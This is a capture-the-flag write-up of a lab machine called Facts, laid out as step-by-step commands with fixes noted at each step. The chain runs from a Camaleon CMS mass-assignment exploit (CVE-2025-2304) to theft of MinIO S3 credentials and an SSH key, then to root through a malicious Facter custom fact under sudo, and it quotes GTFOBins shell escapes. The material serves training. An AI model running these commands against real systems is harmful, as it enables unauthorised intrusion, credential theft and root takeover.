Facts
Summary
I exploited a mass-assignment flaw in Camaleon CMS (CVE-2025-2304) to promote a self-registered low-privilege account to administrator, then harvested hard-coded MinIO S3 credentials from the admin settings page. Those credentials unlocked a MinIO bucket storing a home-directory backup containing user trivia's SSH private key.
After recovering the key's passphrase, I logged in via SSH and abused a passwordless sudo rule granting unrestricted access to Facter — a Ruby-based facts tool that loads arbitrary code — to execute commands as root and complete the compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <admin_session_cookie> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Version-scan the three exposed ports to identify services and banners.
$ nmap -sV -sC -p 22,80,54321 $TARGETResolve the vhost nginx redirects to.
$ echo "$TARGET facts.htb" >> /etc/hostsConfirm Camaleon CMS and identify version 2.9.0.
$ curl -si http://facts.htb/admin/ | grep -iE 'camaleon|version'Confirm MinIO on port 54321 via Server header.
$ curl -si http://$TARGET:54321/ | grep -i serverExact commands 2
Fetch the public proof-of-concept.
$ git clone --depth 1 https://github.com/Alien0ne/CVE-2025-2304 /tmp/CVE-2025-2304Run the exploit against me account; escalates role to admin and prints embedded S3 credentials.
$ python3 /tmp/CVE-2025-2304/exploit.py -u http://facts.htb -U pwn065361 -P "$PASSWORD2" -eFixPatch Camaleon CMS and lock down self-registrationCritical
Exact commands 2
Exploit output includes the S3 access key and secret embedded in the CMS settings.
$ python3 /tmp/CVE-2025-2304/exploit.py -u http://facts.htb -U pwn065361 -P "$PASSWORD2" -eAlternatively, authenticate with the admin session cookie and scrape the settings page directly.
$ curl -s -b '<admin_session_cookie>' 'http://facts.htb/admin/settings' | grep -iE 'access.key|secret|s3|endpoint'FixRemove hard-coded credentials from the application and rotate immediatelyCritical
Exact commands 3
List all buckets and objects in 'internal' via boto3 (mc client was not available during the engagement).
$ python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://$TARGET:54321',
aws_access_key_id='$TOKEN',
aws_secret_access_key='$KEY')
print([b['Name'] for b in s3.list_buckets()['Buckets']])
for o in s3.list_objects_v2(Bucket='internal').get('Contents', []):
print(o['Key'])
"Download the private key and authorized_keys file from the internal bucket.
$ python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://$TARGET:54321',
aws_access_key_id='$TOKEN',
aws_secret_access_key='$KEY')
s3.download_file('internal', '.ssh/id_ed25519', '/tmp/facts_id_ed25519')
s3.download_file('internal', '.ssh/authorized_keys', '/tmp/facts_authorized_keys')
"Alternative using mc client if installed; mc cp facts/internal/.ssh/id_ed25519 ./trivia_id_ed25519 to download.
$ mc alias set facts http://$TARGET:54321 $TOKEN $KEY && mc ls facts/internal --recursiveFixRemove authentication material from object storage and enforce least-privilege bucket policiesHigh
Exact commands 3
Set correct permissions so ssh-keygen accepts the file.
$ chmod 600 /tmp/facts_id_ed25519Validate the passphrase; prints the public key on success.
$ ssh-keygen -y -P "$PASSWORD3" -f /tmp/facts_id_ed25519 > /tmp/facts_id_ed25519.pub && echo 'passphrase ok'Strip the passphrase from the key copy for non-interactive SSH use.
$ cp /tmp/facts_id_ed25519 /tmp/facts_id_ed25519_nopass && ssh-keygen -p -P "$PASSWORD3" -N '' -f /tmp/facts_id_ed25519_nopassExact commands 2
Authenticate as trivia using the decrypted key; lands an interactive shell.
$ ssh -i /tmp/facts_id_ed25519_nopass -o StrictHostKeyChecking=no trivia@$TARGETConfirm uid=1000(trivia) and read the user flag -> <user.txt>
$ id && cat ~/user.txt
uid=1000(trivia)Exact commands 4
List passwordless sudo rights; confirms (ALL) NOPASSWD: /usr/bin/facter.
$ sudo -n -lCreate a staging directory for the malicious custom fact.
$ mkdir -p /tmp/factsrootWrite a Facter custom fact whose setcode block executes an arbitrary shell command as root.
$ printf 'Facter.add(:pwn) do\n setcode do\n `/bin/bash -c "id; cat /root/root.txt"`\n end\nend\n' > /tmp/factsroot/pwn.rbLoad and execute the malicious fact via sudo; output includes uid=0(root) and root.txt -> <root.txt>
$ sudo /usr/bin/facter --custom-dir=/tmp/factsroot pwnFixRemove unrestricted passwordless sudo access to FacterCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.26.3 (Ubuntu) |
| 54321/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.